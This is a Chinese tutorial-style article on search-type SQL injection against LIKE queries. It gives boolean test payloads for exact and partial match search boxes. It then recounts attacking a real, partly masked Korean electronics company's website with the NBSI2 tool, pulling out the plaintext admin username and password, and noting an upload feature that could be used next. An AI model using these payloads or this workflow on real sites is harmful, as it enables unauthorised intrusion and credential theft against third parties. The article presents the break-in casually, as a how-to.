上一篇:征服你的Web Shell >>
搜索型注入成功搞定跨国电子公司
搜索型注入成功搞定跨国电子公司
文/图 勇哥儿
大家都知道,注入方式主要有数字型和字符型,但新手们常常忽略搜索型,因为搜索型在判断是否存在漏洞时要在搜索文本框中输入内容,然后再根据返回的页面内容来判断,比较烦琐。虽然nbsi2带有这种注入方式,但在打开页面的时候参数中一般是不带有搜索的参数的,怎么办呢?我的办法是手工改造它,然后再用nbsi2帮忙。
先给大家讲点前置知识,假如你只打算取出name记录,而且这些记录的名字必须以字母w打头,那么你就要用到下面的where子句了:
select name from admin where name like 'w%'
如果想取出名字中包含字母w的,那么就要用到下面的where 子句:
select name from admin where name like '%w%'
如果想取出名字共三个字符,第一个字母是w,第三个字母是f的记录,那么你就要用到下面的where 子句:
select name from admin where name like 'w_f' (wtf也在其中,嘿)
小知识:百分比符号(%)的含义类似于dos中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于dos中的通配符“?”,代表任意一个字符。
大家可能经常看到在搜索时让我们选择是完全匹配还是部分匹配,如果是完全匹配则语句如下:
select name from admin where name like ‘$keyword’
其中变量keyword表示我们在查询框中要输入的内容。如果是部分匹配:
select name from admin where name like ‘%$keyword%’
如果这个变量keyword没有过滤我们就可以构造下面的语句:
1.完全匹配:如果我们输入“wtf’ and ‘1’=’1 ”就变成了如下语句:
select name from admin where name like ‘wtf’ and ‘1’=’1’
如果我们输入“wtf’ and ‘1’=’2” 就变成了如下语句:
select name from admin where name like ‘wtf’ and ‘1’=’2’
2.部分匹配:如果我们输入wtf%’ and 1=1 and ‘%’=’ 就变成了如下语句:
select name from admin where name like ‘%wtf%’ and 1=1 and ‘%’=’%’
如果我们输入wtf%’ and 1=2 and ‘%’=’ 就变成了如下语句:
select name from admin where name like ‘%wtf%’ and 1=2 and ‘%’=’%’
根据返回的页面内容是否相同就可以判断是否存在注入漏洞。
好,基本的东西介绍完了,我们来看看如何利用它!本文的目标是一个著名的韩国跨国电子公司,虽然它的程序是asp.net的,但却忽略了查询框的变量过滤,大家对比一下图1与图2就可以看出区别来。
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
图1
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
图2
如果在查询的文本框中不输入内容的话,查询的参数sc为空,这样利用nbsi2是扫描不出来的。根据图1和图2我们可以看出存在注入漏洞,这样我们构造一下注入地址:
http://notebook.***.com.cn/news/news.aspx?page=1&type=***&st=title&sc=科技
特征码输入我们在图1中看到的2004,图3为nbsi2的注入分析结果。
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
图3
很快就猜出了后台的用户名和密码,密码是明文的,字母特殊字符都有。进后台一看有上传图片功能……不玩了,后续的东西没有什么好说的了,闪人。
()
下一篇:十二招Windows操作系统的网络管理技巧 >>
相关文章:
- · 超强windows密码设置及破解
- · 利用微软官方工具批量安装Windows更新程序
- · 解析IBM的EXA 技术
- · 有效地远程管理局域网计算机的磁盘空间
- · XP显示上次光盘内容的解决办法
- · 更改Windows系统中DOS命令行的默认路径
- · Windows和Linux的“鹊桥会”
- · 智能ABC输入法技巧揭密
- · 关于ftp服务程序中不安全因素研究
- · 代理中的“中间人”攻击
- · 更改客户端administrator密码的几种方法
- · 解决IP地址冲突的完美方法
- · 免费电影与在线视频大搜捕
- · 跳板的隐藏
- · MITM攻击 In Proxy
- · 邮件地址保护有巧招
- · Linux下管理磁盘存储区从原理到技巧
- · Windows 2000系统下关闭端口的方法与思路
- · WinXP中的空连接
- · BitTorrent(BT)种子制作教程
- · 路由器端QQ封堵方案
- · 软件路由器使用经典十问
- · 监控和保护Linux下进程安全
- · 深度解析注册表修复不成功的原因
- · F1~F12在Windows系统中的作用
- · Longhorn的优化及注意事项
- · 内网BitComet下载提速方案
- · Q-ZONE技巧大放送
- · Win XP系统中你不可不知的事
- · 为你的右键菜单“瘦身”
- · 利用QQ邮件发网页木马的小技巧
- · 10大国外代理服务器网站
- · 数据库设计经验谈
- · 数秒钟之内破解MySQL的MD5函数
- · Win 2K动态DNS的安全考虑
- · Windows XP六招最新应用技巧
- · FTP基础知识及模式精解
- · 映射网络驱动器的使用
